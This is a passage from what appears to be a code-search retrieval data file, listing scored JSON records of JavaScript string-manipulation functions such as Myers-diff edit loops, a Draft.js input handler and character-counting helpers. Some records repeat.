newPhrase=phraseComplete.substring(0,x)+newSubstring+phraseComplete.substring(x+oldSubstring.length,phraseComplete.length)\n }\n }\n return newPhrase\n }\n\n let phraseComplete=prompt(\"Ingresa una cadena de texto\")\n let oldSubstring=prompt(\"Ingresa una subcadena a reemplazar en el texto anterior\")\n let newSubstring=prompt(\"Ingresa el texto que reemplazará la cadena anterior\")\n\n console.log(`La cadena original: ${phraseComplete}`)\n console.log(\"La nueva cadena es: \"+ getSubstring(phraseComplete,oldSubstring,newSubstring))\n\n}", "title": "" }, { "docid": "089b542f68487682a85787181231cbbb", "score": "0.53539044", "text": "function execEditLength() {\n for (var diagonalPath = -1*editLength; diagonalPath <= editLength; diagonalPath+=2) {\n var basePath;\n var addPath = bestPath[diagonalPath-1],\n removePath = bestPath[diagonalPath+1];\n oldPos = (removePath ? removePath.newPos : 0) - diagonalPath;\n if (addPath) {\n // No one else is going to attempt to use this value, clear it\n bestPath[diagonalPath-1] = undefined;\n }\n\n var canAdd = addPath && addPath.newPos+1 < newLen;\n var canRemove = removePath && 0 <= oldPos && oldPos < oldLen;\n if (!canAdd && !canRemove) {\n // If this path is a terminal then prune\n bestPath[diagonalPath] = undefined;\n continue;\n }\n\n // Select the diagonal that we want to branch from. We select the prior\n // path whose position in the new string is the farthest from the origin\n // and does not pass the bounds of the diff graph\n if (!canAdd || (canRemove && addPath.newPos < removePath.newPos)) {\n basePath = clonePath(removePath);\n pushComponent(basePath.components, undefined, true);\n } else {\n basePath = addPath; // No need to clone, we've pulled it from the list\n basePath.newPos++;\n pushComponent(basePath.components, true, undefined);\n }\n\n var oldPos = extractCommon(basePath, newString, oldString, diagonalPath);\n\n // If we have hit the end of both strings, then we are done\n if (basePath.newPos+1 >= newLen && oldPos+1 >= oldLen) {\n return buildValues(basePath.components, newString, oldString);\n } else {\n // Otherwise track this path as a potential candidate and continue.\n bestPath[diagonalPath] = basePath;\n }\n }\n\n editLength++;\n }", "title": "" }, { "docid": "089b542f68487682a85787181231cbbb", "score": "0.53539044", "text": "function execEditLength() {\n for (var diagonalPath = -1*editLength; diagonalPath <= editLength; diagonalPath+=2) {\n var basePath;\n var addPath = bestPath[diagonalPath-1],\n removePath = bestPath[diagonalPath+1];\n oldPos = (removePath ? removePath.newPos : 0) - diagonalPath;\n if (addPath) {\n // No one else is going to attempt to use this value, clear it\n bestPath[diagonalPath-1] = undefined;\n }\n\n var canAdd = addPath && addPath.newPos+1 < newLen;\n var canRemove = removePath && 0 <= oldPos && oldPos < oldLen;\n if (!canAdd && !canRemove) {\n // If this path is a terminal then prune\n bestPath[diagonalPath] = undefined;\n continue;\n }\n\n // Select the diagonal that we want to branch from. We select the prior\n // path whose position in the new string is the farthest from the origin\n // and does not pass the bounds of the diff graph\n if (!canAdd || (canRemove && addPath.newPos < removePath.newPos)) {\n basePath = clonePath(removePath);\n pushComponent(basePath.components, undefined, true);\n } else {\n basePath = addPath; // No need to clone, we've pulled it from the list\n basePath.newPos++;\n pushComponent(basePath.components, true, undefined);\n }\n\n var oldPos = extractCommon(basePath, newString, oldString, diagonalPath);\n\n // If we have hit the end of both strings, then we are done\n if (basePath.newPos+1 >= newLen && oldPos+1 >= oldLen) {\n return buildValues(basePath.components, newString, oldString);\n } else {\n // Otherwise track this path as a potential candidate and continue.\n bestPath[diagonalPath] = basePath;\n }\n }\n\n editLength++;\n }", "title": "" }, { "docid": "952de4888ae295f4c947ab672f2d866d", "score": "0.53478676", "text": "function editOnBeforeInput(e) {\n\t var chars = e.data;\n\n\t // In some cases (ex: IE ideographic space insertion) no character data\n\t // is provided. There's nothing to do when this happens.\n\t if (!chars) {\n\t return;\n\t }\n\n\t // Allow the top-level component to handle the insertion manually. This is\n\t // useful when triggering interesting behaviors for a character insertion,\n\t // Simple examples: replacing a raw text ':)' with a smile emoji or image\n\t // decorator, or setting a block to be a list item after typing '- ' at the\n\t // start of the block.\n\t if (this.props.handleBeforeInput && this.props.handleBeforeInput(chars)) {\n\t e.preventDefault();\n\t return;\n\t }\n\n\t // If selection is collapsed, conditionally allow native behavior. This\n\t // reduces re-renders and preserves spellcheck highlighting. If the selection\n\t // is not collapsed, we will re-render.\n\t var editorState = this.props.editorState;\n\t var selection = editorState.getSelection();\n\n\t if (!selection.isCollapsed()) {\n\t e.preventDefault();\n\t this.update(replaceText(editorState, chars, editorState.getCurrentInlineStyle(), getEntityKeyForSelection(editorState.getCurrentContent(), editorState.getSelection())));\n\t return;\n\t }\n\n\t var mayAllowNative = !isSelectionAtLeafStart(editorState);\n\t var newEditorState = replaceText(editorState, chars, editorState.getCurrentInlineStyle(), getEntityKeyForSelection(editorState.getCurrentContent(), editorState.getSelection()));\n\n\t if (!mayAllowNative) {\n\t e.preventDefault();\n\t this.update(newEditorState);\n\t return;\n\t }\n\n\t var anchorKey = selection.getAnchorKey();\n\t var anchorTree = editorState.getBlockTree(anchorKey);\n\n\t // Check the old and new \"fingerprints\" of the current block to determine\n\t // whether this insertion requires any addition or removal of text nodes,\n\t // in which case we would prevent the native character insertion.\n\t var originalFingerprint = BlockTree.getFingerprint(anchorTree);\n\t var newFingerprint = BlockTree.getFingerprint(newEditorState.getBlockTree(anchorKey));\n\n\t if (mustPreventDefaultForCharacter(chars) || originalFingerprint !== newFingerprint || nullthrows(newEditorState.getDirectionMap()).get(anchorKey) !== nullthrows(editorState.getDirectionMap()).get(anchorKey)) {\n\t e.preventDefault();\n\t } else {\n\t // The native event is allowed to occur.\n\t newEditorState = EditorState.set(newEditorState, {\n\t nativelyRenderedContent: newEditorState.getCurrentContent()\n\t });\n\t }\n\n\t this.update(newEditorState);\n\t}", "title": "" }, { "docid": "952de4888ae295f4c947ab672f2d866d", "score": "0.53478676", "text": "function editOnBeforeInput(e) {\n\t var chars = e.data;\n\n\t // In some cases (ex: IE ideographic space insertion) no character data\n\t // is provided. There's nothing to do when this happens.\n\t if (!chars) {\n\t return;\n\t }\n\n\t // Allow the top-level component to handle the insertion manually. This is\n\t // useful when triggering interesting behaviors for a character insertion,\n\t // Simple examples: replacing a raw text ':)' with a smile emoji or image\n\t // decorator, or setting a block to be a list item after typing '- ' at the\n\t // start of the block.\n\t if (this.props.handleBeforeInput && this.props.handleBeforeInput(chars)) {\n\t e.preventDefault();\n\t return;\n\t }\n\n\t // If selection is collapsed, conditionally allow native behavior. This\n\t // reduces re-renders and preserves spellcheck highlighting. If the selection\n\t // is not collapsed, we will re-render.\n\t var editorState = this.props.editorState;\n\t var selection = editorState.getSelection();\n\n\t if (!selection.isCollapsed()) {\n\t e.preventDefault();\n\t this.update(replaceText(editorState, chars, editorState.getCurrentInlineStyle(), getEntityKeyForSelection(editorState.getCurrentContent(), editorState.getSelection())));\n\t return;\n\t }\n\n\t var mayAllowNative = !isSelectionAtLeafStart(editorState);\n\t var newEditorState = replaceText(editorState, chars, editorState.getCurrentInlineStyle(), getEntityKeyForSelection(editorState.getCurrentContent(), editorState.getSelection()));\n\n\t if (!mayAllowNative) {\n\t e.preventDefault();\n\t this.update(newEditorState);\n\t return;\n\t }\n\n\t var anchorKey = selection.getAnchorKey();\n\t var anchorTree = editorState.getBlockTree(anchorKey);\n\n\t // Check the old and new \"fingerprints\" of the current block to determine\n\t // whether this insertion requires any addition or removal of text nodes,\n\t // in which case we would prevent the native character insertion.\n\t var originalFingerprint = BlockTree.getFingerprint(anchorTree);\n\t var newFingerprint = BlockTree.getFingerprint(newEditorState.getBlockTree(anchorKey));\n\n\t if (mustPreventDefaultForCharacter(chars) || originalFingerprint !== newFingerprint || nullthrows(newEditorState.getDirectionMap()).get(anchorKey) !== nullthrows(editorState.getDirectionMap()).get(anchorKey)) {\n\t e.preventDefault();\n\t } else {\n\t // The native event is allowed to occur.\n\t newEditorState = EditorState.set(newEditorState, {\n\t nativelyRenderedContent: newEditorState.getCurrentContent()\n\t });\n\t }\n\n\t this.update(newEditorState);\n\t}", "title": "" }, { "docid": "a614f09cf4506c56e84dbb1066f7397b", "score": "0.5344897", "text": "function setChar(string, index, char) {\n if (index > string.length - 1) {\n return string;\n }\n return string.substr(0, index) + char + string.substr(index + 1);\n}", "title": "" }, { "docid": "928146a9694925167b38e54250e1e268", "score": "0.5342932", "text": "edit(onPaper, wordToAdd) {\n // Find where to insert the word\n let whereToStart;\n for(let i = 0; i < onPaper.length; i++) {\n if (onPaper[i] === ' ' && onPaper[i + 1] === ' ') {\n whereToStart = i + 1;\n break;\n }\n }\n\n // After finding out where to insert the word, switch all the blank spaces with the letters of the word you want to add\n let splitOnPaper = onPaper.split('');\n for(let i = 0; i < wordToAdd.length; i++) {\n // If you word is too long and it tries to replace a non-blank space, replace it with @\n if (splitOnPaper[whereToStart] !== ' ') {\n splitOnPaper[whereToStart] = '@';\n } else {\n splitOnPaper[whereToStart] = wordToAdd[i];\n }\n whereToStart++;\n }\n onPaper = splitOnPaper.join('');\n return onPaper;\n }", "title": "" }, { "docid": "8ce17a3d49841701a30aae97a2c93b8e", "score": "0.5342", "text": "incrementCharacters(char) {\n // 8: backspace, 16: shift, 17: ctrl, 20: caps, 46: delete\n const options = [8, 16, 17, 20, 46];\n // if the index of char is not in the array then go\n // alternate way of multiple or statements\n if (options.indexOf(char) === -1) {\n this._characters += 1;\n }\n }", "title": "" }, { "docid": "94cb392791c40821cf1e8959adf23fe1", "score": "0.5340209", "text": "function allPoss(str){\n\n let numOfPossibilities = factorial(str.length);\n let timesToExist = numOfPossibilities / str.length;\n let strLength = str.length;\n let strList = [];\n\n for (let i = 0; i < numOfPossibilities; i++) {\n strList.push(\"\");\n }\n\n\n for (let i = 0; i < str.length; i++ ) {\n let timesExisted = 0;\n let tmpInc = 0;\n // console.log(\"entering first loop with: \" + str[i]);\n console.log(\"outer loop\");\n for (let i2 = 0; i2 < strList.length; i2++) {\n let testStr;\n\n // create the string that potentially replaces the previous string.\n\n if (timesExisted >= timesToExist && !strList[i2].includes(str[tmpInc])){\n console.log(\"fullStr: \" + strList[i2] + \" indexChar: \" + str[tmpInc]);\n tmpInc < (str.length - 1) ? tmpInc++ : tmpInc = 0;\n timesExisted = 0;\n testStr = strList[i2].slice(0, i) + str[tmpInc];\n console.log(\"JUST CREATED STR: \" + testStr);\n } else if (strList[i2].includes(str[tmpInc])){\n tmpInc < (str.length - 1) ? tmpInc++ : tmpInc = 0;\n testStr = strList[i2].slice(0, i) + str[tmpInc];\n //console.log(\"JUST CREATED STR: \" + testStr);\n }\n else {\n testStr = strList[i2].slice(0, i) + str[tmpInc];\n// console.log(\"JUST CREATED STR: \" + testStr);\n }\n\n\n\n\n //console.log(\"str about to add: \" + testStr);\n strList.splice(i2,1, testStr);\n timesExisted++;\n\n\n\n\n //console.log(\"tmpInc: \" + tmpInc + \" nExisted: \" + timesExisted + \" tToExist: \" + timesToExist);\n console.log(strList);\n// console.log(testStr);\n }\n\n numOfPossibilities = numOfPossibilities / strLength;\n strLength -= 1;\n timesToExist = numOfPossibilities / strLength;\n }\n\n console.log(strList);\n\n}", "title": "" }, { "docid": "678342b9b8d6c17f340eaaa5e41ec08f", "score": "0.5303394", "text": "function commonCharacterCount(s1, s2) {\n for (var i = 0; i < s1.length; i++) { //iterates through s1\n s2 = s2.replace(s1[i], \"*\") //replaces up to one instance of s1[i] with \"*\"\n }\n return s2.replace(/[^*]/g, \"\").length //erases all non \"*\" characters (all differences)\n}", "title": "" }, { "docid": "f9c6ea668e828f23b014dc57d209601c", "score": "0.52985924", "text": "function execEditLength() {\n for (var diagonalPath = -1 * editLength; diagonalPath <= editLength; diagonalPath += 2) {\n var basePath;\n var addPath = bestPath[diagonalPath - 1],\n removePath = bestPath[diagonalPath + 1],\n oldPos = (removePath ? removePath.newPos : 0) - diagonalPath;\n if (addPath) {\n // No one else is going to attempt to use this value, clear it\n bestPath[diagonalPath - 1] = undefined;\n }\n\n var canAdd = addPath && addPath.newPos + 1 < newLen,\n canRemove = removePath && 0 <= oldPos && oldPos < oldLen;\n if (!canAdd && !canRemove) {\n // If this path is a terminal then prune\n bestPath[diagonalPath] = undefined;\n continue;\n }\n\n // Select the diagonal that we want to branch from. We select the prior\n // path whose position in the new string is the farthest from the origin\n // and does not pass the bounds of the diff graph\n if (!canAdd || (canRemove && addPath.newPos < removePath.newPos)) {\n basePath = clonePath(removePath);\n self.pushComponent(basePath.components, undefined, true);\n } else {\n basePath = addPath; // No need to clone, we've pulled it from the list\n basePath.newPos++;\n self.pushComponent(basePath.components, true, undefined);\n }\n\n oldPos = self.extractCommon(basePath, newString, oldString, diagonalPath);\n\n // If we have hit the end of both strings, then we are done\n if (basePath.newPos + 1 >= newLen && oldPos + 1 >= oldLen) {\n return done(buildValues(basePath.components, newString, oldString, self.useLongestToken));\n } else {\n // Otherwise track this path as a potential candidate and continue.\n bestPath[diagonalPath] = basePath;\n }\n }\n\n editLength++;\n }", "title": "" }, { "docid": "f9c6ea668e828f23b014dc57d209601c", "score": "0.52985924", "text": "function execEditLength() {\n for (var diagonalPath = -1 * editLength; diagonalPath <= editLength; diagonalPath += 2) {\n var basePath;\n var addPath = bestPath[diagonalPath - 1],\n removePath = bestPath[diagonalPath + 1],\n oldPos = (removePath ? removePath.newPos : 0) - diagonalPath;\n if (addPath) {\n // No one else is going to attempt to use this value, clear it\n bestPath[diagonalPath - 1] = undefined;\n }\n\n var canAdd = addPath && addPath.newPos + 1 < newLen,\n canRemove = removePath && 0 <= oldPos && oldPos < oldLen;\n if (!canAdd && !canRemove) {\n // If this path is a terminal then prune\n bestPath[diagonalPath] = undefined;\n continue;\n }\n\n // Select the diagonal that we want to branch from. We select the prior\n // path whose position in the new string is the farthest from the origin\n // and does not pass the bounds of the diff graph\n if (!canAdd || (canRemove && addPath.newPos < removePath.newPos)) {\n basePath = clonePath(removePath);\n self.pushComponent(basePath.components, undefined, true);\n } else {\n basePath = addPath; // No need to clone, we've pulled it from the list\n basePath.newPos++;\n self.pushComponent(basePath.components, true, undefined);\n }\n\n oldPos = self.extractCommon(basePath, newString, oldString, diagonalPath);\n\n // If we have hit the end of both strings, then we are done\n if (basePath.newPos + 1 >= newLen && oldPos + 1 >= oldLen) {\n return done(buildValues(basePath.components, newString, oldString, self.useLongestToken));\n } else {\n // Otherwise track this path as a potential candidate and continue.\n bestPath[diagonalPath] = basePath;\n }\n }\n\n editLength++;\n }", "title": "" }, { "docid": "51ee94f42768c7ae4a777637b6d32125", "score": "0.5291249", "text": "function commonCharacterCount(s1, s2){\n debugger;\n // turn string into array to use as an index to check for common chars\n var s2Arr = s2.split(''); \n // keep track of number of common hits\n var result = 0; \n \n for(var i=0; i<s1.length; i++){\n // element exists\n if(s2Arr.indexOf(s1[i]) !== -1){\n s2Arr.splice(s2Arr.indexOf(s1[i]),1); \n result++; \n }\n } \n \n return result;\n}", "title": "" }, { "docid": "d9e5caee7e08321ef2ad8ffebb1731f8", "score": "0.5285821", "text": "function execEditLength() {\n for (var diagonalPath = -1 * editLength; diagonalPath <= editLength; diagonalPath += 2) {\n var basePath =\n /*istanbul ignore start*/\n void 0;\n\n var addPath = bestPath[diagonalPath - 1],\n removePath = bestPath[diagonalPath + 1],\n _oldPos = (removePath ? removePath.newPos : 0) - diagonalPath;\n\n if (addPath) {\n // No one else is going to attempt to use this value, clear it\n bestPath[diagonalPath - 1] = undefined;\n }\n\n var canAdd = addPath && addPath.newPos + 1 < newLen,\n canRemove = removePath && 0 <= _oldPos && _oldPos < oldLen;\n\n if (!canAdd && !canRemove) {\n // If this path is a terminal then prune\n bestPath[diagonalPath] = undefined;\n continue;\n } // Select the diagonal that we want to branch from. We select the prior\n // path whose position in the new string is the farthest from the origin\n // and does not pass the bounds of the diff graph\n\n\n if (!canAdd || canRemove && addPath.newPos < removePath.newPos) {\n basePath = clonePath(removePath);\n self.pushComponent(basePath.components, undefined, true);\n } else {\n basePath = addPath; // No need to clone, we've pulled it from the list\n\n basePath.newPos++;\n self.pushComponent(basePath.components, true, undefined);\n }\n\n _oldPos = self.extractCommon(basePath, newString, oldString, diagonalPath); // If we have hit the end of both strings, then we are done\n\n if (basePath.newPos + 1 >= newLen && _oldPos + 1 >= oldLen) {\n return done(buildValues(self, basePath.components, newString, oldString, self.useLongestToken));\n } else {\n // Otherwise track this path as a potential candidate and continue.\n bestPath[diagonalPath] = basePath;\n }\n }\n\n editLength++;\n } // Performs the length of edit iteration. Is a bit fugly as this has to support the", "title": "" }, { "docid": "d1f6ccfadc8b5696f806385c0eafe9af", "score": "0.5280241", "text": "function execEditLength() {\n for (var diagonalPath = -1 * editLength; diagonalPath <= editLength; diagonalPath += 2) {\n var basePath =\n /*istanbul ignore start*/\n void 0\n /*istanbul ignore end*/\n ;\n\n var addPath = bestPath[diagonalPath - 1],\n removePath = bestPath[diagonalPath + 1],\n _oldPos = (removePath ? removePath.newPos : 0) - diagonalPath;\n\n if (addPath) {\n // No one else is going to attempt to use this value, clear it\n bestPath[diagonalPath - 1] = undefined;\n }\n\n var canAdd = addPath && addPath.newPos + 1 < newLen,\n canRemove = removePath && 0 <= _oldPos && _oldPos < oldLen;\n\n if (!canAdd && !canRemove) {\n // If this path is a terminal then prune\n bestPath[diagonalPath] = undefined;\n continue;\n } // Select the diagonal that we want to branch from. We select the prior\n // path whose position in the new string is the farthest from the origin\n // and does not pass the bounds of the diff graph\n\n\n if (!canAdd || canRemove && addPath.newPos < removePath.newPos) {\n basePath = clonePath(removePath);\n self.pushComponent(basePath.components, undefined, true);\n } else {\n basePath = addPath; // No need to clone, we've pulled it from the list\n\n basePath.newPos++;\n self.pushComponent(basePath.components, true, undefined);\n }\n\n _oldPos = self.extractCommon(basePath, newString, oldString, diagonalPath); // If we have hit the end of both strings, then we are done\n\n if (basePath.newPos + 1 >= newLen && _oldPos + 1 >= oldLen) {\n return done(buildValues(self, basePath.components, newString, oldString, self.useLongestToken));\n } else {\n // Otherwise track this path as a potential candidate and continue.\n bestPath[diagonalPath] = basePath;\n }\n }\n\n editLength++;\n } // Performs the length of edit iteration. Is a bit fugly as this has to support the", "title": "" }, { "docid": "d1f6ccfadc8b5696f806385c0eafe9af", "score": "0.5280241", "text": "function execEditLength() {\n for (var diagonalPath = -1 * editLength; diagonalPath <= editLength; diagonalPath += 2) {\n var basePath =\n /*istanbul ignore start*/\n void 0\n /*istanbul ignore end*/\n ;\n\n var addPath = bestPath[diagonalPath - 1],\n removePath = bestPath[diagonalPath + 1],\n _oldPos = (removePath ? removePath.newPos : 0) - diagonalPath;\n\n if (addPath) {\n // No one else is going to attempt to use this value, clear it\n bestPath[diagonalPath - 1] = undefined;\n }\n\n var canAdd = addPath && addPath.newPos + 1 < newLen,\n canRemove = removePath && 0 <= _oldPos && _oldPos < oldLen;\n\n if (!canAdd && !canRemove) {\n // If this path is a terminal then prune\n bestPath[diagonalPath] = undefined;\n continue;\n } // Select the diagonal that we want to branch from. We select the prior\n // path whose position in the new string is the farthest from the origin\n // and does not pass the bounds of the diff graph\n\n\n if (!canAdd || canRemove && addPath.newPos < removePath.newPos) {\n basePath = clonePath(removePath);\n self.pushComponent(basePath.components, undefined, true);\n } else {\n basePath = addPath; // No need to clone, we've pulled it from the list\n\n basePath.newPos++;\n self.pushComponent(basePath.components, true, undefined);\n }\n\n _oldPos = self.extractCommon(basePath, newString, oldString, diagonalPath); // If we have hit the end of both strings, then we are done\n\n if (basePath.newPos + 1 >= newLen && _oldPos + 1 >= oldLen) {\n return done(buildValues(self, basePath.components, newString, oldString, self.useLongestToken));\n } else {\n // Otherwise track this path as a potential candidate and continue.\n bestPath[diagonalPath] = basePath;\n }\n }\n\n editLength++;\n } // Performs the length of edit iteration. Is a bit fugly as this has to support the", "title": "" }, { "docid": "9960d73fb94a4d4b39f89d1becc9793a", "score": "0.52802384", "text": "function updateChar() {\n let char = getRandomChar();\n while (char == last_char) {\n char = getRandomChar();\n }\n last_char = char;\n char_element.innerHTML = char.toUpperCase();\n creation_time = new Date().getTime();\n}", "title": "" }, { "docid": "b7ba00b89c05bba88d1d84fce673d6c9", "score": "0.52774304", "text": "function setCharAt(str,index,chr) {\n return str.substr(0,index) + chr + str.substr(index+1);\n}", "title": "" }, { "docid": "8db9d5cacc420d87a783eec546389088", "score": "0.5273767", "text": "function remove_character(str, char_pos) {\n part1 = str.substring(0, char_pos);\n part2 = str.substring(char_pos + 1, str.length);\n return part1 + part2;\n}", "title": "" }, { "docid": "9eea2145e51b17f0634742dffdd1732b", "score": "0.5266886", "text": "_changeTextLength( callback ) {\n let diff = this._nextText().length - this.text.length;\n if( diff > 0 ) {\n let interval = this._options.interval.adding\n for( let charsToAdd = diff; charsToAdd > 0; charsToAdd-- ) {\n setTimeout( this._appendChar.bind(this),\n ( interval / diff ) * charsToAdd );\n if( charsToAdd == 1 ) setTimeout( callback, interval ); // when last one, fire callback\n }\n } else if( diff < 0 ) {\n diff = Math.abs( diff );\n let interval = this._options.interval.removing;\n for( let charsToRemove = diff; charsToRemove > 0; charsToRemove-- ) {\n setTimeout( this._removeChar.bind(this),\n ( interval / diff ) * charsToRemove );\n if( charsToRemove == 1 ) setTimeout( callback, interval); // when last one, fire callback\n }\n } else {\n callback(); // when change is not needed fire callback immediately\n }\n }", "title": "" }, { "docid": "e263903e2c2de6ca17c28eb86f3220db", "score": "0.5266629", "text": "function bigstring_blit_stub(s1, i1, s2, i2, len){\n for (var i = 0; i < len; i++) caml_ba_set_1(s2,i2 + i,caml_ba_get_1(s1,i1 + i));\n return 0;\n}", "title": "" }, { "docid": "b54b5916555031468372bda16444741e", "score": "0.5260703", "text": "function insertString(string, insertion, n) {\n n = n || 1;\n var newString = (\n function () {\n var output = \"\";\n var stringBeginning = (\n function () {\n var output = \"\";\n for (var i = 0; i < n - 1; i++) {\n output += string[i];\n }\n return output;\n }\n )();\n var stringEnding = (\n function () {\n var output = \"\";\n for (var i = n - 1; i < string.length; i++) {\n output += string[i];\n }\n return output;\n }\n )();\n output += stringBeginning + insertion + stringEnding;\n return output;\n }\n )();\n return newString;\n}", "title": "" }, { "docid": "4a4cd47e3c95b3a9bfed707fdd522570", "score": "0.52599704", "text": "function execEditLength() {\n for (var diagonalPath = -1 * editLength; diagonalPath <= editLength; diagonalPath += 2) {\n var basePath =\n /*istanbul ignore start*/\n void 0\n /*istanbul ignore end*/\n ;\n\n var addPath = bestPath[diagonalPath - 1],\n removePath = bestPath[diagonalPath + 1],\n _oldPos = (removePath ? removePath.newPos : 0) - diagonalPath;\n\n if (addPath) {\n // No one else is going to attempt to use this value, clear it\n bestPath[diagonalPath - 1] = undefined;\n }\n\n var canAdd = addPath && addPath.newPos + 1 < newLen,\n canRemove = removePath && 0 <= _oldPos && _oldPos < oldLen;\n\n if (!canAdd && !canRemove) {\n // If this path is a terminal then prune\n bestPath[diagonalPath] = undefined;\n continue;\n } // Select the diagonal that we want to branch from. We select the prior\n // path whose position in the new string is the farthest from the origin\n // and does not pass the bounds of the diff graph\n\n\n if (!canAdd || canRemove && addPath.newPos < removePath.newPos) {\n basePath = clonePath(removePath);\n self.pushComponent(basePath.components, undefined, true);\n } else {\n basePath = addPath; // No need to clone, we've pulled it from the list\n\n basePath.newPos++;\n self.pushComponent(basePath.components, true, undefined);\n }\n\n _oldPos = self.extractCommon(basePath, newString, oldString, diagonalPath); // If we have hit the end of both strings, then we are done\n\n if (basePath.newPos + 1 >= newLen && _oldPos + 1 >= oldLen) {\n return done(buildValues(self, basePath.components, newString, oldString, self.useLongestToken));\n } else {\n // Otherwise track this path as a potential candidate and continue.\n bestPath[diagonalPath] = basePath;\n }\n }\n\n editLength++;\n } // Performs the length of edit iteration. Is a bit fugly as this has to support the", "title": "" }, { "docid": "304226473bee76a41924d3eadb405e9a", "score": "0.52597296", "text": "function editAlign(str1, str2) {\n const matrix = levenshteinDistance(str1, str2);\n let out1 = \"\";\n let out2 = \"\";\n let x = str1.length;\n let y = str2.length;\n\n while (x !== 0 && y !== 0){\n const minimum = Math.min(matrix[x - 1][y - 1], matrix[x][y - 1], matrix[x - 1][y]);\n\n if (matrix[x][y] === matrix[x - 1][y - 1] && matrix[x - 1][y - 1] === minimum){\n out1 = str1[x - 1] + out1;\n out2 = str2[y - 1] + out2;\n x--;\n y--;\n }\n else {\n if (matrix[x][y - 1] === minimum){\n out2 = str2[y - 1] + out2;\n out1 = \"-\" + out1;\n y--;\n }\n else if (matrix[x - 1][y] === minimum) {\n out1 = str1[x - 1] + out1;\n out2 = \"-\" + out2;\n x--;\n }\n else {\n out1 = str1[x - 1] + out1;\n out2 = str2[y - 1] + out2;\n x--;\n y--;\n }\n }\n }\n\n return [out1, out2, matrix[str1.length][str2.length]];\n}", "title": "" }, { "docid": "62755e06ea43872b1076de3472d2c13d", "score": "0.52586424", "text": "function commonCharacterCount(s1, s2) {\n let aux = s2.split('');\n let count = 0;\n for(elt of s1.split('')){\n for(let [idx, elt2] of aux.entries()){\n if(elt === elt2){\n count++;\n aux.splice(idx,1);\n break;\n } \n }\n }\n return count;\n}", "title": "" }, { "docid": "b3267c4415806bb8f4372ba5c97a0767", "score": "0.52565604", "text": "function finalEdit(str){\n\n var breakAtSpace = str.split(/\\s+/g);\n var hasQues = false;\n var hasEx = false;\n var endOfSen = false;\n var replacement = \"\";\n\n //console.log(breakAtSpace);\n breakAtSpace[0] = capFirst(breakAtSpace[0]);\n\n for(i=0; i<breakAtSpace.length -1; i++){\n if(startsWithQuestion(breakAtSpace[i])){\n hasQues = true;\n }\n if(startsWithExclamation(breakAtSpace[i])){\n hasEx = true;\n }\n if(endOFSentence(breakAtSpace[i])){\n endOfSen = true;\n breakAtSpace[i+1] = capFirst(breakAtSpace[i+1]);\n }\n \n if (hasQues && endOfSen) {\n if(((breakAtSpace[i].slice(-1) === \"\\!\") || (breakAtSpace[i].slice(-1) === \"\\.\"))){\n replacement = breakAtSpace[i].replaceAt(breakAtSpace[i].length-1, \"\\?\");\n breakAtSpace[i] = replacement;\n hasQues = false;\n endOfSen = false;\n }\n else if((breakAtSpace[i].slice(-1) === \"\\?\")){\n hasQues = false;\n endOfSen = false;\n }\n }\n else if (hasEx && endOfSen) {\n if(((breakAtSpace[i].slice(-1) === \"\\?\") || (breakAtSpace[i].slice(-1) === \"\\.\"))){\n replacement = breakAtSpace[i].replaceAt(breakAtSpace[i].length-1, \"\\!\");\n breakAtSpace[i] = replacement;\n hasEx = false;\n endOfSen = false;\n }\n else if((breakAtSpace[i].slice(-1) === \"\\!\")){\n hasEx = false;\n endOfSen = false;\n }\n }\n else if (!(hasEx || hasQues) && endOfSen) {\n if(((breakAtSpace[i].slice(-1) === \"\\?\") || (breakAtSpace[i].slice(-1) === \"\\!\")) && (breakAtSpace[i].slice(-1) !== \"\\.\") ){\n replacement = breakAtSpace[i].replaceAt(breakAtSpace[i].length-1, \".\");\n breakAtSpace[i] = replacement;\n hasEx = false;\n hasQues = false;\n endOfSen = false;\n }\n }\n\n }\n var body = breakAtSpace.join(\" \");\n var source = \"\\r\\n(fuente: \" + $( \"#myselect option:selected\" ).text() + \")\";\n body += source;\n var fin = {title: source, body: body};\n return fin;\n}", "title": "" }, { "docid": "e2e9e5a710a357810d8999571b443cac", "score": "0.5256473", "text": "function execEditLength() {\n for (var diagonalPath = -1 * editLength; diagonalPath <= editLength; diagonalPath += 2) {\n var basePath = /*istanbul ignore start*/void 0 /*istanbul ignore end*/;\n var addPath = bestPath[diagonalPath - 1],\n removePath = bestPath[diagonalPath + 1],\n _oldPos = (removePath ? removePath.newPos : 0) - diagonalPath;\n if (addPath) {\n // No one else is going to attempt to use this value, clear it\n bestPath[diagonalPath - 1] = undefined;\n }\n\n var canAdd = addPath && addPath.newPos + 1 < newLen,\n canRemove = removePath && 0 <= _oldPos && _oldPos < oldLen;\n if (!canAdd && !canRemove) {\n // If this path is a terminal then prune\n bestPath[diagonalPath] = undefined;\n continue;\n }\n\n // Select the diagonal that we want to branch from. We select the prior\n // path whose position in the new string is the farthest from the origin\n // and does not pass the bounds of the diff graph\n if (!canAdd || canRemove && addPath.newPos < removePath.newPos) {\n basePath = clonePath(removePath);\n self.pushComponent(basePath.components, undefined, true);\n } else {\n basePath = addPath; // No need to clone, we've pulled it from the list\n basePath.newPos++;\n self.pushComponent(basePath.components, true, undefined);\n }\n\n _oldPos = self.extractCommon(basePath, newString, oldString, diagonalPath);\n\n // If we have hit the end of both strings, then we are done\n if (basePath.newPos + 1 >= newLen && _oldPos + 1 >= oldLen) {\n return done(buildValues(self, basePath.components, newString, oldString, self.useLongestToken));\n } else {\n // Otherwise track this path as a potential candidate and continue.\n bestPath[diagonalPath] = basePath;\n }\n }\n\n editLength++;\n }", "title": "" }, { "docid": "e2e9e5a710a357810d8999571b443cac", "score": "0.5256473", "text": "function execEditLength() {\n for (var diagonalPath = -1 * editLength; diagonalPath <= editLength; diagonalPath += 2) {\n var basePath = /*istanbul ignore start*/void 0 /*istanbul ignore end*/;\n var addPath = bestPath[diagonalPath - 1],\n removePath = bestPath[diagonalPath + 1],\n _oldPos = (removePath ? removePath.newPos : 0) - diagonalPath;\n if (addPath) {\n // No one else is going to attempt to use this value, clear it\n bestPath[diagonalPath - 1] = undefined;\n }\n\n var canAdd = addPath && addPath.newPos + 1 < newLen,\n canRemove = removePath && 0 <= _oldPos && _oldPos < oldLen;\n if (!canAdd && !canRemove) {\n // If this path is a terminal then prune\n bestPath[diagonalPath] = undefined;\n continue;\n }\n\n // Select the diagonal that we want to branch from. We select the prior\n // path whose position in the new string is the farthest from the origin\n // and does not pass the bounds of the diff graph\n if (!canAdd || canRemove && addPath.newPos < removePath.newPos) {\n basePath = clonePath(removePath);\n self.pushComponent(basePath.components, undefined, true);\n } else {\n basePath = addPath; // No need to clone, we've pulled it from the list\n basePath.newPos++;\n self.pushComponent(basePath.components, true, undefined);\n }\n\n 